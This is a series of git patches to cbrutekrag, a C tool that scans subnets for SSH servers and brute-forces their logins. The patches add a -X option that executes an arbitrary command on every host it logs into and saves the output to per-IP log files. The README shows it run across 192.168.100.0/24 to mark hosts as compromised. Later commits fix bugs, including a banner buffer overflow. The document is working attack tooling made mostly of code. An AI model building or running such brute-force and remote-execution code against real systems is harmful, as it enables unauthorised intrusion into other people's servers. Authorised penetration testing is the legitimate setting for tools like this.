From 2a56d25777a1892513fb5f282b89aa80aa6ca477 Mon Sep 17 00:00:00 2001 From: Jorge Matricali Date: Sat, 21 Sep 2019 19:37:39 -0300 Subject: [PATCH 01/14] Command execution (argument: -X ) (Feature request #3) --- CHANGELOG.md | 3 ++- README.md | 6 +++++- bruteforce_ssh.c | 44 +++++++++++++++++++++++++++++++++++++++++++- bruteforce_ssh.h | 3 +++ cbrutekrag.c | 11 ++++++++--- 5 files changed, 61 insertions(+), 6 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 5c42c7c..50a6357 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,7 +7,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] ### Added - Support for custom port (argument: -p ) both on scan and bruteforce phases. -- Dry-run (argument: -D) +- Dry-run (argument: -D). +- Remote command execution (argument: -X ). ### Changed - Separate Cbrutekrag verbosity from SSHLIB verbosity. (arguments: -v and -V respectively). diff --git a/README.md b/README.md index 77fa0ff..893bbbf 100644 --- a/README.md +++ b/README.md @@ -35,7 +35,7 @@ $ cbrutekrag -h usage: ./cbrutekrag [-h] [-v] [-D] [-p PORT] [-T TARGETS.lst] [-C combinations.lst] - [-t THREADS] [-o OUTPUT.txt] [TARGETS...] + [-t THREADS] [-o OUTPUT.txt] [-X COMMAND] [TARGETS...] -h This help -v Verbose mode @@ -47,6 +47,7 @@ usage: ./cbrutekrag [-h] [-v] [-D] [-p PORT] [-T TARGETS.lst] [-C combinations.l -C Username and password file -t Max threads -o Output log file + -X Remote command execution ``` ## Example usages @@ -54,4 +55,7 @@ usage: ./cbrutekrag [-h] [-v] [-D] [-p PORT] [-T TARGETS.lst] [-C combinations.l # Many targets, many pre-made combinations of user and password separated by space. cbrutekrag -T targets.txt -C combinations.txt -o result.log + +# Scans 192.168.100.0/24 using 24 threads, then bruteforce discovered ssh servers and execute command if we can log into. +cbrutekrag -s -o result.log -t 24 -C combos.txt -X "touch THIS_HOST_HAS_BEEN_COMPROMISED" 192.168.100.0/24 ``` diff --git a/bruteforce_ssh.c b/bruteforce_ssh.c index dd9e63c..540ad53 100644 --- a/bruteforce_ssh.c +++ b/bruteforce_ssh.c @@ -26,8 +26,10 @@ SOFTWARE. #include "cbrutekrag.h" #include "progressbar.h" #include "log.h" +#include "bruteforce_ssh.h" int g_timeout; +char *g_command; int bruteforce_ssh_login(const char *hostname, unsigned int port, const char *username, const char *password) { @@ -73,6 +75,9 @@ int bruteforce_ssh_login(const char *hostname, unsigned int port, const char *us } r = ssh_userauth_none(my_ssh_session, username); + if (r == SSH_AUTH_SUCCESS && g_command != NULL) { + bruteforce_ssh_execute_command(my_ssh_session, g_command); + } if (r == SSH_AUTH_SUCCESS || r == SSH_AUTH_ERROR) { ssh_disconnect(my_ssh_session); ssh_free(my_ssh_session); @@ -86,6 +91,9 @@ int bruteforce_ssh_login(const char *hostname, unsigned int port, const char *us if (method & SSH_AUTH_METHOD_NONE) { r = ssh_userauth_none(my_ssh_session, NULL); if (r == SSH_AUTH_SUCCESS) { + if (g_command != NULL) { + bruteforce_ssh_execute_command(my_ssh_session, g_command); + } ssh_disconnect(my_ssh_session); ssh_free(my_ssh_session); return r; @@ -95,6 +103,9 @@ int bruteforce_ssh_login(const char *hostname, unsigned int port, const char *us if (method & SSH_AUTH_METHOD_PASSWORD) { r = ssh_userauth_password(my_ssh_session, NULL, password); if (r == SSH_AUTH_SUCCESS) { + if (g_command != NULL) { + bruteforce_ssh_execute_command(my_ssh_session, g_command); + } ssh_disconnect(my_ssh_session); ssh_free(my_ssh_session); return r; @@ -106,7 +117,7 @@ int bruteforce_ssh_login(const char *hostname, unsigned int port, const char *us return -1; } -int bruteforce_ssh_try_login(const char *hostname, const int port, const char *username, const char *password, int count, int total, FILE *output) +int bruteforce_ssh_try_login(const char *hostname, unsigned int port, const char *username, const char *password, int count, int total, FILE *output) { if (! g_verbose) { char bar_suffix[50]; @@ -125,3 +136,34 @@ int bruteforce_ssh_try_login(const char *hostname, const int port, const char *u } return -1; } + +int bruteforce_ssh_execute_command(ssh_session session, const char *command) +{ + ssh_channel channel; + int ret; + + channel = ssh_channel_new(session); + + if (channel == NULL) { + return SSH_ERROR; + } + + ret = ssh_channel_open_session(channel); + if (ret != SSH_OK) { + log_error("Cannot open channel."); + ssh_channel_free(channel); + return ret; + } + + ret = ssh_channel_request_exec(channel, command); + if (ret != SSH_OK) { + log_error("Cannot execute command."); + ssh_channel_close(channel); + ssh_channel_free(channel); + return ret; + } + + ssh_channel_close(channel); + ssh_channel_free(channel); + return ret; +} diff --git a/bruteforce_ssh.h b/bruteforce_ssh.h index abe6b4c..23123fe 100644 --- a/bruteforce_ssh.h +++ b/bruteforce_ssh.h @@ -23,9 +23,12 @@ SOFTWARE. #ifndef BRUTEFORCE_SSH_H #define BRUTEFORCE_SSH_H +#include + int bruteforce_ssh_login(const char *hostname, unsigned int port, const char *username, const char *password); int bruteforce_ssh_try_login(const char *hostname, unsigned int port, const char *username, const char *password, int count, int total, FILE *output); +int bruteforce_ssh_execute_command(ssh_session session, const char *command); #endif /* BRUTEFORCE_SSH_H */ diff --git a/cbrutekrag.c b/cbrutekrag.c index 2a60408..b4f1313 100644 --- a/cbrutekrag.c +++ b/cbrutekrag.c @@ -37,6 +37,7 @@ int g_verbose = 0; int g_timeout = 3; int g_dryrun = 0; char *g_blankpass_placeholder = "$BLANKPASS"; +char *g_command = NULL; void print_banner() { @@ -55,7 +56,7 @@ void print_banner() void usage(const char *p) { printf("\nusage: %s [-h] [-v] [-D] [-p PORT] [-T TARGETS.lst] [-C combinations.lst]\n" - "\t\t[-t THREADS] [-o OUTPUT.txt] [TARGETS...]\n\n", p); + "\t\t[-t THREADS] [-o OUTPUT.txt] [-X COMMAND] [TARGETS...]\n\n", p); } int main(int argc, char** argv) @@ -70,7 +71,7 @@ int main(int argc, char** argv) int port = 22; FILE *output = NULL; - while ((opt = getopt(argc, argv, "p:T:C:t:o:DsvVh")) != -1) { + while ((opt = getopt(argc, argv, "p:T:C:t:o:X:DsvVh")) != -1) { switch (opt) { case 'v': g_verbose |= CBRUTEKRAG_VERBOSE_MODE; @@ -99,6 +100,9 @@ int main(int argc, char** argv) case 'D': g_dryrun = 1; break; + case 'X': + g_command = strdup(optarg); + break; case 'h': print_banner(); usage(argv[0]); @@ -111,7 +115,8 @@ int main(int argc, char** argv) " -T Targets file\n" " -C Username and password file\n" " -t Max threads\n" - " -o Output log file\n"); + " -o Output log file\n" + " -X Remote command execution\n"); exit(EXIT_SUCCESS); default: usage(argv[0]); From b68dfc0b0749b3653b56b0066a5cefed8d889209 Mon Sep 17 00:00:00 2001 From: Jorge Matricali Date: Mon, 14 Oct 2019 14:10:30 -0300 Subject: [PATCH 02/14] Writes command execution output into a log file. File format ({remote_addr}_cmd.log) (see #4) --- src/bruteforce_ssh.c | 80 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 80 insertions(+) diff --git a/src/bruteforce_ssh.c b/src/bruteforce_ssh.c index 540ad53..939324f 100644 --- a/src/bruteforce_ssh.c +++ b/src/bruteforce_ssh.c @@ -21,6 +21,9 @@ SOFTWARE. */ #include +#include +#include +#include #include #include "cbrutekrag.h" @@ -31,6 +34,46 @@ SOFTWARE. int g_timeout; char *g_command; +char *get_output_filename_for_session(ssh_session session) +{ + struct sockaddr_storage tmp; + struct sockaddr_in *sock; + unsigned int len = 100; + char ip[100] = "\0"; + + getpeername(ssh_get_fd(session), (struct sockaddr*)&tmp, &len); + sock = (struct sockaddr_in *)&tmp; + inet_ntop(AF_INET, &sock->sin_addr, ip, len); + + char *filename = malloc(strlen(ip) + 9); // _cmd.log + null-terminator + + if (filename == NULL) { + exit(EXIT_FAILURE); + } + + strcpy(filename, ip); + strcat(filename, "_cmd.log"); + + return filename; +} + +FILE *get_output_file_for_session(ssh_session session) +{ + FILE *output = NULL; + char *filename = get_output_filename_for_session(session); + + output = fopen(filename, "a"); + + if (output == NULL) { + log_error("Error opening output file. (%s)", filename); + exit(EXIT_FAILURE); + } + + free(filename); + + return output; +} + int bruteforce_ssh_login(const char *hostname, unsigned int port, const char *username, const char *password) { ssh_session my_ssh_session; @@ -142,12 +185,16 @@ int bruteforce_ssh_execute_command(ssh_session session, const char *command) ssh_channel channel; int ret; + /** Create channel */ + channel = ssh_channel_new(session); if (channel == NULL) { return SSH_ERROR; } + /** Open a session */ + ret = ssh_channel_open_session(channel); if (ret != SSH_OK) { log_error("Cannot open channel."); @@ -155,6 +202,8 @@ int bruteforce_ssh_execute_command(ssh_session session, const char *command) return ret; } + /** Send command */ + ret = ssh_channel_request_exec(channel, command); if (ret != SSH_OK) { log_error("Cannot execute command."); @@ -163,7 +212,38 @@ int bruteforce_ssh_execute_command(ssh_session session, const char *command) return ret; } + /** Read the output */ + + FILE *output = NULL; + char buffer[256]; + int nbytes; + nbytes = ssh_channel_read(channel, buffer, sizeof(buffer), 0); + + output = get_output_file_for_session(session); + + while (nbytes > 0) { + if (fwrite(buffer, 1, nbytes, output) != nbytes) { + goto exit_with_errors; + } + nbytes = ssh_channel_read(channel, buffer, sizeof(buffer), 0); + } + + if (nbytes < 0) { + goto exit_with_errors; + } + + fclose(output); ssh_channel_close(channel); ssh_channel_free(channel); + return ret; + +exit_with_errors: + if (output != NULL) { + fclose(output); + } + ssh_channel_close(channel); + ssh_channel_free(channel); + + return SSH_ERROR; } From 09f8daf57037df74b4f4f0c4f1625071220df0c2 Mon Sep 17 00:00:00 2001 From: Jorge Matricali Date: Sun, 8 Dec 2019 12:16:36 -0300 Subject: [PATCH 03/14] Merge conflicts --- CHANGELOG.md | 1 + README.md | 6 +++++- src/bruteforce_ssh.c | 45 +++++++++++++++++++++++++++++++++++++++++--- src/cbrutekrag.c | 13 +++++++++---- 4 files changed, 57 insertions(+), 8 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 0fe8660..d421fc2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -11,6 +11,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Added the initial basis to support different ports on different targets - Now is possible to specify the port on targets list (ex: 10.10.1.10:2222) (see #5) - Shows time elapsed on each phase. +- Remote command execution (argument: -X ). ### Changed - Separate Cbrutekrag verbosity from SSHLIB verbosity. (arguments: -v and -V respectively). diff --git a/README.md b/README.md index 53c28b6..6e40ec7 100644 --- a/README.md +++ b/README.md @@ -35,7 +35,7 @@ $ cbrutekrag -h usage: ./cbrutekrag [-h] [-v] [-D] [-P] [-T TARGETS.lst] [-C combinations.lst] - [-t THREADS] [-o OUTPUT.txt] [TARGETS...] + [-t THREADS] [-o OUTPUT.txt] [-X COMMAND] [TARGETS...] -h This help -v Verbose mode @@ -47,12 +47,16 @@ usage: ./cbrutekrag [-h] [-v] [-D] [-P] [-T TARGETS.lst] [-C combinations.lst] -C Username and password file -t Max threads -o Output log file + -X Remote command execution ``` ## Example usages ```bash cbrutekrag -T targets.txt -C combinations.txt -o result.log cbrutekrag -s -t 8 -C combinations.txt -o result.log 192.168.1.0/24 + +# Scans 192.168.100.0/24 using 24 threads, then bruteforce discovered ssh servers and execute command if we can log into. +cbrutekrag -s -o result.log -t 24 -C combos.txt -X "touch THIS_HOST_HAS_BEEN_COMPROMISED" 192.168.100.0/24 ``` ### Supported targets syntax diff --git a/src/bruteforce_ssh.c b/src/bruteforce_ssh.c index 868d696..e640a2a 100644 --- a/src/bruteforce_ssh.c +++ b/src/bruteforce_ssh.c @@ -23,12 +23,11 @@ SOFTWARE. #include #include +#include "bruteforce_ssh.h" #include "cbrutekrag.h" #include "log.h" #include "progressbar.h" -int g_timeout; - int bruteforce_ssh_login(btkg_context_t* context, const char* hostname, unsigned int port, const char* username, const char* password) { @@ -55,7 +54,7 @@ int bruteforce_ssh_login(btkg_context_t* context, const char* hostname, unsigned ssh_options_set(my_ssh_session, SSH_OPTIONS_KEY_EXCHANGE, "none"); ssh_options_set(my_ssh_session, SSH_OPTIONS_HOSTKEYS, "none"); #endif - ssh_options_set(my_ssh_session, SSH_OPTIONS_TIMEOUT, &g_timeout); + ssh_options_set(my_ssh_session, SSH_OPTIONS_TIMEOUT, &context->timeout); ssh_options_set(my_ssh_session, SSH_OPTIONS_USER, username); int r; @@ -69,6 +68,9 @@ int bruteforce_ssh_login(btkg_context_t* context, const char* hostname, unsigned } r = ssh_userauth_none(my_ssh_session, username); + if (r == SSH_AUTH_SUCCESS && context->command != NULL) { + bruteforce_ssh_execute_command(my_ssh_session, context->command); + } if (r == SSH_AUTH_SUCCESS || r == SSH_AUTH_ERROR) { ssh_disconnect(my_ssh_session); ssh_free(my_ssh_session); @@ -82,6 +84,9 @@ int bruteforce_ssh_login(btkg_context_t* context, const char* hostname, unsigned if (method & SSH_AUTH_METHOD_NONE) { r = ssh_userauth_none(my_ssh_session, NULL); if (r == SSH_AUTH_SUCCESS) { + if (context->command != NULL) { + bruteforce_ssh_execute_command(my_ssh_session, context->command); + } ssh_disconnect(my_ssh_session); ssh_free(my_ssh_session); return r; @@ -91,6 +96,9 @@ int bruteforce_ssh_login(btkg_context_t* context, const char* hostname, unsigned if (method & SSH_AUTH_METHOD_PASSWORD) { r = ssh_userauth_password(my_ssh_session, NULL, password); if (r == SSH_AUTH_SUCCESS) { + if (context->command != NULL) { + bruteforce_ssh_execute_command(my_ssh_session, context->command); + } ssh_disconnect(my_ssh_session); ssh_free(my_ssh_session); return r; @@ -124,3 +132,34 @@ int bruteforce_ssh_try_login(btkg_context_t* context, const char* hostname, cons return ret; } + +int bruteforce_ssh_execute_command(ssh_session session, const char* command) +{ + ssh_channel channel; + int ret; + + channel = ssh_channel_new(session); + + if (channel == NULL) { + return SSH_ERROR; + } + + ret = ssh_channel_open_session(channel); + if (ret != SSH_OK) { + log_error("Cannot open channel."); + ssh_channel_free(channel); + return ret; + } + + ret = ssh_channel_request_exec(channel, command); + if (ret != SSH_OK) { + log_error("Cannot execute command."); + ssh_channel_close(channel); + ssh_channel_free(channel); + return ret; + } + + ssh_channel_close(channel); + ssh_channel_free(channel); + return ret; +} diff --git a/src/cbrutekrag.c b/src/cbrutekrag.c index c3ca386..20e037a 100644 --- a/src/cbrutekrag.c +++ b/src/cbrutekrag.c @@ -53,7 +53,8 @@ void print_banner() void usage(const char* p) { printf("\nusage: %s [-h] [-v] [-D] [-P] [-T TARGETS.lst] [-C combinations.lst]\n" - "\t\t[-t THREADS] [-o OUTPUT.txt] [TARGETS...]\n\n", p); + "\t\t[-t THREADS] [-o OUTPUT.txt] [-X COMMAND] [TARGETS...]\n\n", + p); } int main(int argc, char** argv) @@ -70,8 +71,8 @@ int main(int argc, char** argv) struct timespec start, finish; double elapsed; - while ((opt = getopt(argc, argv, "T:C:t:o:DsvVPh")) != -1) { - switch (opt) { + while ((opt = getopt(argc, argv, "T:C:t:o:X:DsvVPh")) != -1) { + switch (opt) { case 'v': context.verbose |= CBRUTEKRAG_VERBOSE_MODE; break; @@ -99,6 +100,9 @@ int main(int argc, char** argv) case 'P': context.progress_bar = 1; break; + case 'X': + context.command = strdup(optarg); + break; case 'h': print_banner(); usage(argv[0]); @@ -111,7 +115,8 @@ int main(int argc, char** argv) " -T Targets file\n" " -C Username and password file\n" " -t Max threads\n" - " -o Output log file\n"); + " -o Output log file\n" + " -X Remote command execution\n"); exit(EXIT_SUCCESS); default: usage(argv[0]); From b3edc6636e9ef7dcde5b281a89d7814b4f0fa4cd Mon Sep 17 00:00:00 2001 From: Jorge Matricali Date: Sat, 21 Sep 2019 19:37:39 -0300 Subject: [PATCH 04/14] Command execution (argument: -X ) (Feature request #3) --- include/bruteforce_ssh.h | 3 +++ include/cbrutekrag.h | 1 + include/detection.h | 1 + 3 files changed, 5 insertions(+) diff --git a/include/bruteforce_ssh.h b/include/bruteforce_ssh.h index e5d59e4..94d8b77 100644 --- a/include/bruteforce_ssh.h +++ b/include/bruteforce_ssh.h @@ -23,6 +23,8 @@ SOFTWARE. #ifndef BRUTEFORCE_SSH_H #define BRUTEFORCE_SSH_H +#include + #include "cbrutekrag.h" #include "target.h" #include "wordlist.h" @@ -36,5 +38,6 @@ int bruteforce_ssh_login(btkg_context_t* context, const char* hostname, unsigned const char* password); int bruteforce_ssh_try_login(btkg_context_t* context, const char* hostname, const int port, const char* username, const char* password, int count, int total, FILE* output); +int bruteforce_ssh_execute_command(ssh_session session, const char* command); #endif /* BRUTEFORCE_SSH_H */ diff --git a/include/cbrutekrag.h b/include/cbrutekrag.h index e6ec8c4..f04417e 100644 --- a/include/cbrutekrag.h +++ b/include/cbrutekrag.h @@ -32,6 +32,7 @@ typedef struct { int verbose; int dry_run; int perform_scan; + char* command; } btkg_context_t; void print_banner(); diff --git a/include/detection.h b/include/detection.h index d8882ec..1e6c65b 100644 --- a/include/detection.h +++ b/include/detection.h @@ -23,6 +23,7 @@ SOFTWARE. #ifndef DETECTION_H #define DETECTION_H +#include "cbrutekrag.h" #include "target.h" typedef struct { From 0c7f05183aa1476bf7a98d1814b68406d4f6f259 Mon Sep 17 00:00:00 2001 From: Jorge Matricali Date: Mon, 14 Oct 2019 14:10:30 -0300 Subject: [PATCH 05/14] Writes command execution output into a log file. File format ({remote_addr}_cmd.log) (see #4) --- src/bruteforce_ssh.c | 80 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 80 insertions(+) diff --git a/src/bruteforce_ssh.c b/src/bruteforce_ssh.c index e640a2a..a45a63a 100644 --- a/src/bruteforce_ssh.c +++ b/src/bruteforce_ssh.c @@ -20,14 +20,57 @@ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ +#include #include #include +#include +#include #include "bruteforce_ssh.h" #include "cbrutekrag.h" #include "log.h" #include "progressbar.h" +char* get_output_filename_for_session(ssh_session session) +{ + struct sockaddr_storage tmp; + struct sockaddr_in* sock; + unsigned int len = 100; + char ip[100] = "\0"; + + getpeername(ssh_get_fd(session), (struct sockaddr*)&tmp, &len); + sock = (struct sockaddr_in*)&tmp; + inet_ntop(AF_INET, &sock->sin_addr, ip, len); + + char* filename = malloc(strlen(ip) + 9); // _cmd.log + null-terminator + + if (filename == NULL) { + exit(EXIT_FAILURE); + } + + strcpy(filename, ip); + strcat(filename, "_cmd.log"); + + return filename; +} + +FILE* get_output_file_for_session(ssh_session session) +{ + FILE* output = NULL; + char* filename = get_output_filename_for_session(session); + + output = fopen(filename, "a"); + + if (output == NULL) { + log_error("Error opening output file. (%s)", filename); + exit(EXIT_FAILURE); + } + + free(filename); + + return output; +} + int bruteforce_ssh_login(btkg_context_t* context, const char* hostname, unsigned int port, const char* username, const char* password) { @@ -138,12 +181,16 @@ int bruteforce_ssh_execute_command(ssh_session session, const char* command) ssh_channel channel; int ret; + /** Create channel */ + channel = ssh_channel_new(session); if (channel == NULL) { return SSH_ERROR; } + /** Open a session */ + ret = ssh_channel_open_session(channel); if (ret != SSH_OK) { log_error("Cannot open channel."); @@ -151,6 +198,8 @@ int bruteforce_ssh_execute_command(ssh_session session, const char* command) return ret; } + /** Send command */ + ret = ssh_channel_request_exec(channel, command); if (ret != SSH_OK) { log_error("Cannot execute command."); @@ -159,7 +208,38 @@ int bruteforce_ssh_execute_command(ssh_session session, const char* command) return ret; } + /** Read the output */ + + FILE* output = NULL; + char buffer[256]; + int nbytes; + nbytes = ssh_channel_read(channel, buffer, sizeof(buffer), 0); + + output = get_output_file_for_session(session); + + while (nbytes > 0) { + if (fwrite(buffer, 1, nbytes, output) != nbytes) { + goto exit_with_errors; + } + nbytes = ssh_channel_read(channel, buffer, sizeof(buffer), 0); + } + + if (nbytes < 0) { + goto exit_with_errors; + } + + fclose(output); ssh_channel_close(channel); ssh_channel_free(channel); + return ret; + +exit_with_errors: + if (output != NULL) { + fclose(output); + } + ssh_channel_close(channel); + ssh_channel_free(channel); + + return SSH_ERROR; } From 76e2569bbb51d26ed046d3231becc026d1ceaae9 Mon Sep 17 00:00:00 2001 From: Jorge Matricali Date: Sun, 8 Dec 2019 12:27:53 -0300 Subject: [PATCH 06/14] Merge branch 'feature/remote-command-execution' of github.com:jorge-matricali/cbrutekrag into feature/remote-command-execution --- src/bruteforce_ssh.c | 68 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 68 insertions(+) diff --git a/src/bruteforce_ssh.c b/src/bruteforce_ssh.c index a45a63a..77c968a 100644 --- a/src/bruteforce_ssh.c +++ b/src/bruteforce_ssh.c @@ -243,3 +243,71 @@ int bruteforce_ssh_execute_command(ssh_session session, const char* command) return SSH_ERROR; } + +int bruteforce_ssh_execute_command(ssh_session session, const char* command) +{ + ssh_channel channel; + int ret; + + /** Create channel */ + + channel = ssh_channel_new(session); + + if (channel == NULL) { + return SSH_ERROR; + } + + /** Open a session */ + + ret = ssh_channel_open_session(channel); + if (ret != SSH_OK) { + log_error("Cannot open channel."); + ssh_channel_free(channel); + return ret; + } + + /** Send command */ + + ret = ssh_channel_request_exec(channel, command); + if (ret != SSH_OK) { + log_error("Cannot execute command."); + ssh_channel_close(channel); + ssh_channel_free(channel); + return ret; + } + + /** Read the output */ + + FILE* output = NULL; + char buffer[256]; + int nbytes; + nbytes = ssh_channel_read(channel, buffer, sizeof(buffer), 0); + + output = get_output_file_for_session(session); + + while (nbytes > 0) { + if (fwrite(buffer, 1, nbytes, output) != nbytes) { + goto exit_with_errors; + } + nbytes = ssh_channel_read(channel, buffer, sizeof(buffer), 0); + } + + if (nbytes < 0) { + goto exit_with_errors; + } + + fclose(output); + ssh_channel_close(channel); + ssh_channel_free(channel); + + return ret; + +exit_with_errors: + if (output != NULL) { + fclose(output); + } + ssh_channel_close(channel); + ssh_channel_free(channel); + + return SSH_ERROR; +} From 5e29badfe825fe6b4c9f1cd8b16b52825f8b883e Mon Sep 17 00:00:00 2001 From: Jorge Matricali Date: Sun, 8 Dec 2019 12:29:35 -0300 Subject: [PATCH 07/14] Remove duplicated code --- src/bruteforce_ssh.c | 68 -------------------------------------------- 1 file changed, 68 deletions(-) diff --git a/src/bruteforce_ssh.c b/src/bruteforce_ssh.c index 77c968a..a45a63a 100644 --- a/src/bruteforce_ssh.c +++ b/src/bruteforce_ssh.c @@ -243,71 +243,3 @@ int bruteforce_ssh_execute_command(ssh_session session, const char* command) return SSH_ERROR; } - -int bruteforce_ssh_execute_command(ssh_session session, const char* command) -{ - ssh_channel channel; - int ret; - - /** Create channel */ - - channel = ssh_channel_new(session); - - if (channel == NULL) { - return SSH_ERROR; - } - - /** Open a session */ - - ret = ssh_channel_open_session(channel); - if (ret != SSH_OK) { - log_error("Cannot open channel."); - ssh_channel_free(channel); - return ret; - } - - /** Send command */ - - ret = ssh_channel_request_exec(channel, command); - if (ret != SSH_OK) { - log_error("Cannot execute command."); - ssh_channel_close(channel); - ssh_channel_free(channel); - return ret; - } - - /** Read the output */ - - FILE* output = NULL; - char buffer[256]; - int nbytes; - nbytes = ssh_channel_read(channel, buffer, sizeof(buffer), 0); - - output = get_output_file_for_session(session); - - while (nbytes > 0) { - if (fwrite(buffer, 1, nbytes, output) != nbytes) { - goto exit_with_errors; - } - nbytes = ssh_channel_read(channel, buffer, sizeof(buffer), 0); - } - - if (nbytes < 0) { - goto exit_with_errors; - } - - fclose(output); - ssh_channel_close(channel); - ssh_channel_free(channel); - - return ret; - -exit_with_errors: - if (output != NULL) { - fclose(output); - } - ssh_channel_close(channel); - ssh_channel_free(channel); - - return SSH_ERROR; -} From 4ea93d7c3690e4fb2b3d6c983d7a06b23507ca5a Mon Sep 17 00:00:00 2001 From: Jorge Matricali Date: Fri, 29 Jan 2021 14:31:04 -0300 Subject: [PATCH 08/14] Update log.c --- src/log.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/log.c b/src/log.c index f2eab77..963c318 100644 --- a/src/log.c +++ b/src/log.c @@ -27,7 +27,7 @@ SOFTWARE. #include "cbrutekrag.h" /* CBRUTEKRAG_VERBOSE_MODE */ #include "log.h" -int g_verbose; +extern int g_verbose; void print_output(int level, const char *file, int line, const char *head, const char *tail, FILE *stream, const char *format, ...) From 8988f3c6a67322cac0dd9cb1aaf34464502a1e6e Mon Sep 17 00:00:00 2001 From: Jorge Matricali Date: Fri, 29 Jan 2021 18:01:36 -0300 Subject: [PATCH 09/14] Update detection.c --- src/detection.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/detection.c b/src/detection.c index 682f800..7e9c94d 100644 --- a/src/detection.c +++ b/src/detection.c @@ -153,7 +153,7 @@ int detection_detect_ssh(btkg_context_t *ctx, const char *hostname, ret = connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)); FD_ZERO(&fdset); - FdSet(sockfd, &fdset); + FD_SET(sockfd, &fdset); /* Connection timeout */ struct timeval tv; From 2bca83892321996f15b957d6763a1361f7b28fe9 Mon Sep 17 00:00:00 2001 From: Jorge Matricali Date: Wed, 21 Feb 2024 18:29:38 -0300 Subject: [PATCH 10/14] FIX: Adding ssh_channel_send_eof --- src/bruteforce_ssh.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/src/bruteforce_ssh.c b/src/bruteforce_ssh.c index 6054692..9810de2 100644 --- a/src/bruteforce_ssh.c +++ b/src/bruteforce_ssh.c @@ -245,11 +245,14 @@ int bruteforce_ssh_execute_command(ssh_session session, const char *command) goto exit_with_errors; } - fclose(output); + if (output != NULL) { + fclose(output); + } + ssh_channel_send_eof(channel); ssh_channel_close(channel); ssh_channel_free(channel); - return ret; + return SSH_OK; exit_with_errors: if (output != NULL) { From 34a79283dfcdeef5c758ee7a8391c08f19be872e Mon Sep 17 00:00:00 2001 From: Jorge Matricali Date: Wed, 21 Feb 2024 18:30:32 -0300 Subject: [PATCH 11/14] Better information about command execution status --- src/bruteforce_ssh.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/src/bruteforce_ssh.c b/src/bruteforce_ssh.c index 9810de2..baeaa31 100644 --- a/src/bruteforce_ssh.c +++ b/src/bruteforce_ssh.c @@ -147,8 +147,15 @@ int bruteforce_ssh_login(btkg_context_t *context, const char *hostname, r = ssh_userauth_password(my_ssh_session, NULL, password); if (r == SSH_AUTH_SUCCESS) { if (context->command != NULL) { - bruteforce_ssh_execute_command( + int cx = bruteforce_ssh_execute_command( my_ssh_session, context->command); + if (cx != SSH_OK) { + log_error( + "[!] %s:%d - Cannot execute command.", + hostname, port); + } else { + log_info("\033[32m[+]\033[0m %s:%d - Command executed successfully.", hostname, port); + } } ssh_disconnect(my_ssh_session); ssh_free(my_ssh_session); @@ -218,7 +225,6 @@ int bruteforce_ssh_execute_command(ssh_session session, const char *command) ret = ssh_channel_request_exec(channel, command); if (ret != SSH_OK) { - log_error("Cannot execute command."); ssh_channel_close(channel); ssh_channel_free(channel); return ret; From 32cd6328a898bfa7ab1d93e5ba0f8eff1cf24cb2 Mon Sep 17 00:00:00 2001 From: Jorge Matricali Date: Wed, 21 Feb 2024 18:31:48 -0300 Subject: [PATCH 12/14] FIX: ssh_get_error shouldnt be used after ssh_free --- src/bruteforce_ssh.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/bruteforce_ssh.c b/src/bruteforce_ssh.c index baeaa31..ca47b48 100644 --- a/src/bruteforce_ssh.c +++ b/src/bruteforce_ssh.c @@ -110,11 +110,11 @@ int bruteforce_ssh_login(btkg_context_t *context, const char *hostname, int r; r = ssh_connect(my_ssh_session); if (r != SSH_OK) { - ssh_free(my_ssh_session); if (context->verbose & CBRUTEKRAG_VERBOSE_MODE) { log_error("[!] Error connecting to %s:%d %s.", hostname, port, ssh_get_error(my_ssh_session)); } + ssh_free(my_ssh_session); return -1; } From 55aae890543de0aef21411c0bfedf917932df448 Mon Sep 17 00:00:00 2001 From: Jorge Matricali Date: Wed, 21 Feb 2024 18:33:57 -0300 Subject: [PATCH 13/14] FIX: Buffer overflow in banner grabber --- src/detection.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/detection.c b/src/detection.c index 7e9c94d..a246c07 100644 --- a/src/detection.c +++ b/src/detection.c @@ -227,8 +227,8 @@ int detection_detect_ssh(btkg_context_t *ctx, const char *hostname, if (banner_len > 0) { if (banner_len > BANNER_LEN) banner_len = BANNER_LEN; - strncpy(banner, buffer, banner_len); - banner[banner_len] = 0; + strncpy(banner, buffer, banner_len - 1); + banner[banner_len - 1] = 0; } if (strstr(banner, "SSH-") != banner) { From 614328b4e44f942c4f73ecacb850e92cf2944ede Mon Sep 17 00:00:00 2001 From: Jorge Matricali Date: Wed, 21 Feb 2024 18:48:26 -0300 Subject: [PATCH 14/14] Update CHANGELOG --- CHANGELOG.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 994504b..acbc3bf 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,10 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +### Added + +- Remote command execution (argument: -X ). + ### Fixed - Added missing wrapper for FD_SET in static build - ssh_get_error shouldnt be used after ssh_free @@ -18,7 +22,6 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Added the initial basis to support different ports on different targets - Now is possible to specify the port on targets list (ex: 10.10.1.10:2222) (see #5) - Shows time elapsed on each phase. -- Remote command execution (argument: -X ). - Increase the maximum file descriptor number that can be opened by this process. - manpages (`man cbrutekrag`) - Debug bracktrace symbols